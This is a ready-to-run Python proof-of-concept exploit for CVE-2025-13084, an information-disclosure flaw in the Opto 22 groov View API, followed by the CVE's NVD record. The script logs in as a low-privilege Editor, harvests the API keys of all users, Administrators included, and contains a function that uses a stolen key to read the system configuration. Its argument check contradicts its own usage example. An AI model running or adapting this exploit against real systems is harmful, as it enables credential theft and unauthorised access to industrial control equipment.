CVE-2025-13084

# CVE-2025-13084 PoC - groov View API Information Disclosure # Author: Security Researcher # Target: Opto 22 groov View API import requests import json import sys def exploit_cve_2025_13084(target_url, username, password): """ Exploit for CVE-2025-13084: groov View API users endpoint returns all users with API keys to low-privilege Editor users """ session = requests.Session() # Step 1: Login with Editor credentials login_url = f"{target_url}/api/auth/login" login_data = { "username": username, "password": password } try: login_response = session.post(login_url, json=login_data, timeout=10) if login_response.status_code != 200: print(f"[-] Login failed with status code: {login_response.status_code}") return None print("[+] Login successful as Editor user") # Step 2: Access the vulnerable users endpoint users_url = f"{target_url}/api/users" users_response = session.get(users_url, timeout=10) if users_response.status_code == 200: print("[+] Successfully accessed users endpoint") users_data = users_response.json() # Step 3: Extract and display all API keys print("\n[+] Extracted API Keys:") print("=" * 60) api_keys = [] for user in users_data.get('users', []): username = user.get('username') role = user.get('role') api_key = user.get('api_key') print(f"Username: {username}") print(f"Role: {role}") print(f"API Key: {api_key}") print("-" * 60) api_keys.append({ 'username': username, 'role': role, 'api_key': api_key }) return api_keys else: print(f"[-] Failed to access users endpoint: {users_response.status_code}") return None except requests.exceptions.RequestException as e: print(f"[-] Request error: {e}") return None def use_stolen_api_key(target_url, api_key): """ Use stolen API key to perform privileged operations """ headers = { 'Authorization': f'Bearer {api_key}', 'Content-Type': 'application/json' } # Example: Get system configuration config_url = f"{target_url}/api/system/config" response = requests.get(config_url, headers=headers, timeout=10) if response.status_code == 200: print("[+] Successfully accessed system configuration with stolen API key") return response.json() else: print(f"[-] Failed to access system configuration: {response.status_code}") return None if __name__ == "__main__": if len(sys.argv) < 5: print("Usage: python cve_2025_13084_poc.py <target_url> <username> <password> [api_key]") print("Example: python cve_2025_13084_poc.py https://groov.example.com editor password123") sys.exit(1) target = sys.argv[1] user = sys.argv[2] pwd = sys.argv[3] print(f"[*] Targeting: {target}") print(f"[*] Attempting CVE-2025-13084 exploitation...\n") api_keys = exploit_cve_2025_13084(target, user, pwd) if api_keys: print(f"\n[!] Total API keys found: {len(api_keys)}")

{"cve": {"id": "CVE-2025-13084", "sourceIdentifier": "[email protected]", "published": "2025-11-26T18:15:47.887", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The users endpoint in the groov View API returns a list of all users and\n associated metadata including their API keys. This endpoint requires an\n Editor role to access and will display API keys for all users, \nincluding Administrators."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:H/VI:L/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 6.1, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "PRESENT", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "LOW", "vulnAvailabilityImpact": "LOW", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:L", "baseScore": 7.6, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.8, "impactScore": 4.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-1230"}]}], "references": [{"url": "https://github.com/cisagov/CSAF/blob/develop/csaf_files/OT/white/2025/icsa-25-329-04.json", "source": "[email protected]"}, {"url": "https://www.cisa.gov/news-events/ics-advisories/icsa-25-329-04", "source": "[email protected]"}, {"url": "https://www.opto22.com/support/resources-tools/knowledgebase/kb91325", "source": "[email protected]"}]}}